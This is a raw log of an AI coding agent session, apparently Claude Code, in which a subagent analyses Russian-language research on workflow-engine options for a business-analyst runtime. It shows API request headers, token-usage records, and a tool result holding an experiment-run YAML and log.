\u0432\u044b\u0445\u043e\u0434 \u043d\u0430 `beacon.langchain.com` ([docs](https://docs.langchain.com/langsmith/deploy-standalone-server)). \u041f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0443\u0437\u0435\u043b \u0441 `interrupt()` \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u044b | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u0422\u043e\u043b\u044c\u043a\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 (\u0412-4), \u043d\u0435 LangGraph Server |\\n158\\t| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n159\\t| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n160\\t| \u0413-54 | \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 \u00ab\u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u0438\u043c\u0435\u0435\u0442 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 | [RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375): \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u0446\u0435\u043d\u0430; \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u043d\u0435\u0442 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.** \u0417\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0440\u0438\u0433\u0433\u0435\u0440: \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0441\u0435\u0441\u0441\u0438\u0438, \u043e\u0431\u0449\u0438\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u0430 4 |\\n161\\t\\n162\\t## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430\\n163\\t\\n164\\t```mermaid\\n165\\tflowchart LR\\n166\\t  S[\\\"Source: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b\\\"] -->|\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f| PK[\\\"\u041f\u0430\u043a\u0435\u0442: \u0433\u0440\u0430\u0444 YAML, \u0441\u0445\u0435\u043c\u044b, \u0442\u0435\u043a\u0441\u0442\u044b\\\"]\\n167\\t  PK --> R[\\\"\u042f\u0434\u0440\u043e runner: \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0443\u0437\u043b\u043e\u0432, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435, \u0436\u0443\u0440\u043d\u0430\u043b\\\"]\\n168\\t  subgraph WS[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e\\\"]\\n169\\t    CLI[\\\"tools/run-task next\\\"]\\n170\\t    AG[\\\"GigaCode CLI \u0438\u043b\u0438 Cline: \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\\\"]\\n171\\t  end\\n172\\t  subgraph SRV[\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0440\u0435\u0434\u0430 4\\\"]\\n173\\t    API[\\\"\u0421\u043b\u0443\u0436\u0431\u0430 runner + Postgres\\\"]\\n174\\t    UI[\\\"\u0427\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430; n8n \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e\\\"]\\n175\\t  end\\n176\\t  R --> CLI\\n177\\t  R --> API\\n178\\t  AG -->|\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a| CLI\\n179\\t  UI --> API\\n180\\t  API -->|\u0448\u0430\u0433| LLM[\\\"Mango AI: OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API\\\"]\\n181\\t  R --> V[\\\"\u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source\\\"]\\n182\\t  API --> CI[\\\"CI gate \u0434\u043b\u044f Release\\\"]\\n183\\t```\\n184\\t\\n185\\t## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410\\n186\\t\"\n[2026-09-29T07:46:40.893Z] [INFO]       }\n[2026-09-29T07:46:40.893Z] [INFO]     ]\n[2026-09-29T07:46:40.893Z] [INFO]   },\n[2026-09-29T07:46:40.893Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"uuid\": \"eef3277d-b099-4163-a3fb-b12186b618ba\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:39.798Z\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:40.893Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:40.893Z] [INFO] }\n[2026-09-29T07:46:40.917Z] [STDOUT] [log_d87b72] sending request {\n[2026-09-29T07:46:40.922Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:40.926Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:40.935Z] [STDOUT]   options: {\n[2026-09-29T07:46:40.942Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:40.954Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:40.959Z] [STDOUT]     body: {\n[2026-09-29T07:46:40.962Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:40.966Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:40.972Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:40.977Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:40.982Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:40.987Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:40.990Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:40.997Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:41.005Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:41.009Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:41.012Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:41.027Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:41.032Z] [STDOUT]     },\n[2026-09-29T07:46:41.035Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:41.038Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:41.043Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:41.047Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:41.049Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:41.052Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:41.054Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:41.057Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:41.060Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:41.063Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:41.067Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:41.075Z] [STDOUT]     },\n[2026-09-29T07:46:41.079Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:41.082Z] [STDOUT]   },\n[2026-09-29T07:46:41.084Z] [STDOUT]   headers: {\n[2026-09-29T07:46:41.086Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:41.090Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:41.094Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:41.104Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:41.107Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:41.111Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:41.142Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:41.158Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:41.161Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:41.164Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:41.168Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:41.171Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Read=207\",\n[2026-09-29T07:46:41.175Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:41.177Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:41.181Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:41.186Z] [STDOUT]     \"x-client-request-id\": \"184fe339-1886-4e36-9967-9dacd7a58aac\",\n[2026-09-29T07:46:41.190Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:41.193Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:41.197Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:41.200Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:41.203Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:41.205Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:41.208Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:41.212Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:41.224Z] [STDOUT]   },\n[2026-09-29T07:46:41.232Z] [STDOUT] }\n[2026-09-29T07:46:41.238Z] [INFO] {\n[2026-09-29T07:46:41.238Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:41.238Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:41.238Z] [INFO]   \"estimated_tokens\": 233,\n[2026-09-29T07:46:41.238Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:41.238Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:41.238Z] [INFO]   \"uuid\": \"2ac850bf-1b30-48cc-ad5a-7df938a1e971\"\n[2026-09-29T07:46:41.238Z] [INFO] }\n[2026-09-29T07:46:41.244Z] [INFO] {\n[2026-09-29T07:46:41.244Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:41.244Z] [INFO]   \"message\": {\n[2026-09-29T07:46:41.244Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:41.244Z] [INFO]     \"id\": \"msg_011CfXMr9iYjExMyXFGN57XN\",\n[2026-09-29T07:46:41.244Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:41.244Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:41.244Z] [INFO]     \"content\": [\n[2026-09-29T07:46:41.244Z] [INFO]       {\n[2026-09-29T07:46:41.244Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:41.244Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:41.244Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:46:41.244Z] [INFO]     ],\n[2026-09-29T07:46:41.244Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:41.244Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:41.244Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:41.244Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:41.244Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:41.244Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:41.244Z] [INFO]       \"cache_creation_input_tokens\": 1703,\n[2026-09-29T07:46:41.244Z] [INFO]       \"cache_read_input_tokens\": 36647,\n[2026-09-29T07:46:41.244Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:41.244Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:41.244Z] [INFO]         \"ephemeral_1h_input_tokens\": 1703\n[2026-09-29T07:46:41.244Z] [INFO]       },\n[2026-09-29T07:46:41.244Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:46:41.244Z] [INFO]       \"service_tier\": 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Next I'll check the research agents' progress, then write the documents.\"\n[2026-09-29T07:46:41.257Z] [INFO]       }\n[2026-09-29T07:46:41.257Z] [INFO]     ],\n[2026-09-29T07:46:41.257Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:41.257Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:41.257Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:41.257Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:41.257Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:41.257Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:41.257Z] [INFO]       \"cache_creation_input_tokens\": 1703,\n[2026-09-29T07:46:41.257Z] [INFO]       \"cache_read_input_tokens\": 36647,\n[2026-09-29T07:46:41.257Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:41.257Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:41.257Z] [INFO]         \"ephemeral_1h_input_tokens\": 1703\n[2026-09-29T07:46:41.257Z] [INFO]       },\n[2026-09-29T07:46:41.257Z] [INFO]       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[Function: abort],\n[2026-09-29T07:46:41.701Z] [STDOUT]     },\n[2026-09-29T07:46:41.704Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:41.710Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:41.717Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:41.728Z] [STDOUT]   },\n[2026-09-29T07:46:41.736Z] [STDOUT]   durationMs: 860,\n[2026-09-29T07:46:41.748Z] [STDOUT] }\n[2026-09-29T07:46:41.776Z] [INFO] {\n[2026-09-29T07:46:41.776Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:41.776Z] [INFO]   \"message\": {\n[2026-09-29T07:46:41.776Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:41.776Z] [INFO]     \"id\": \"msg_011CfXMrDn8CjM1LeTkLrB6q\",\n[2026-09-29T07:46:41.776Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:41.776Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:41.776Z] [INFO]     \"content\": [\n[2026-09-29T07:46:41.776Z] [INFO]       {\n[2026-09-29T07:46:41.776Z] [INFO]    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[INFO]       }\n[2026-09-29T07:46:42.584Z] [INFO]     ],\n[2026-09-29T07:46:42.584Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:42.584Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:42.584Z] [INFO]       \"cache_creation_input_tokens\": 15896,\n[2026-09-29T07:46:42.584Z] [INFO]       \"cache_read_input_tokens\": 101570,\n[2026-09-29T07:46:42.584Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:42.584Z] [INFO]         \"ephemeral_5m_input_tokens\": 15896,\n[2026-09-29T07:46:42.584Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:42.584Z] [INFO]       },\n[2026-09-29T07:46:42.584Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:46:42.584Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:42.584Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:42.584Z] [INFO]     },\n[2026-09-29T07:46:42.584Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:42.584Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:42.584Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:42.584Z] [INFO]   },\n[2026-09-29T07:46:42.584Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"uuid\": \"f75f0b98-5fc4-4fe8-982e-1b62b1bdf15b\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:42.581Z\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"request_id\": \"req_011CfXMrHyQ7rvhptxDbW1ii\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:42.584Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:42.584Z] [INFO] }\n[2026-09-29T07:46:42.785Z] [INFO] {\n[2026-09-29T07:46:42.785Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:42.785Z] [INFO]   \"message\": {\n[2026-09-29T07:46:42.785Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:42.785Z] [INFO]     \"content\": [\n[2026-09-29T07:46:42.785Z] [INFO]       {\n[2026-09-29T07:46:42.785Z] [INFO]         \"tool_use_id\": \"toolu_01N8Zr1uXfq3cNLHGXHLht9j\",\n[2026-09-29T07:46:42.785Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:42.785Z] [INFO]         \"content\": \"run_id: RUN-0068\\nprocess: feasibility-assessment-tender-bcreq-1114-pstn-mobile-access\\nversion: \\\"1.0\\\"\\ndate: 2026-09-28\\nauthor: \\\"AI issue solver\\\"\\nmodel: \\\"claude-opus-5-5\\\"\\nstatus: draft\\nrun_type: execution\\nsource_paths:\\n  - https://github.com/G-Ivan-A/mango_ba_prompts/issues/363\\n  - https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/91406e430aeb70dabf20548eee0ea95127f42690/docs/kb\\ninputs:\\n  - inputs/README.md\\noutputs:\\n  - outputs/README.md\\n  - outputs/L0-feasibility-assessment-1114.md\\nlogs:\\n  - logs/experiment-log.md\\n  - logs/technical-audit.md\\nfeedback:\\n  - feedback/review-notes.md\\nmetrics:\\n  source_images: 7\\n  source_rows: 22\\n  assessed_requirements: 22\\n  verdicts_yes: 3\\n  verdicts_partial: 7\\n  verdicts_no: 11\\n  verdicts_empty: 1\\n  atomic_citations: 20\\n  template_v4_matches_over_90: 0\\n  eval: \\\"L0-\u043e\u0446\u0435\u043d\u043a\u0430 \u0422\u0417 \u00ab\u041f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u0443\u0433 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0422\u0424\u041e\u041f \u0438 \u0410\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u043f\u043e\u0434\u0432\u0438\u0436\u043d\u043e\u0439 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438\u00bb \u043f\u043e \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430\u043c. \u041a\u043e\u043b\u043e\u043d\u043a\u0438 1\u20132 \u0441\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0441 \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0446\u0438\u0435\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u043c; \u00a7 \u0438 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0441\u0441\u044b\u043b\u043e\u043a \u0431\u0435\u0440\u0443\u0442\u0441\u044f \u0438\u0437 frontmatter runtime-\u0411\u0417.\\\"\\nrelated_issues:\\n  - https://github.com/G-Ivan-A/mango_ba_prompts/issues/363\\nrelated_runs:\\n  - RUN-0066\\nrelated_artifacts:\\n  - experiments/issue_363/source_transcription.json\\n  - experiments/issue_363/generate_run.py\\n  - experiments/issue_363/verify_quotes.py\\n  - scripts/validate_issue_363_run.py\\n---\\nstatus: draft\\nupdated: 2026-09-28\\nai-generated: true\\ntype: evidence\\n---\\n\\n# \u0416\u0443\u0440\u043d\u0430\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 RUN-0068\\n\\n## 1. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430 (circuit breaker)\\n\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue \u0441\u043a\u0430\u0447\u0430\u043d\u044b \u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 `gh`; \u0432\u0441\u0435 7 \u0444\u0430\u0439\u043b\u043e\u0432 \u2014 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 PNG\\n(\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u043e\u0439 \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0447\u0435\u0440\u0435\u0437 Pillow). OCR-\u0434\u0432\u0438\u0436\u043e\u043a \u0432 \u0441\u0440\u0435\u0434\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d,\\n\u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0435\u043a\u0441\u0442 \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u0431\u0438\u0440\u043e\u0432\u0430\u043d \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e \u0441 \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432 (crop \u00d72) \u043a\u0430\u0436\u0434\u043e\u0439\\n\u044f\u0447\u0435\u0439\u043a\u0438. 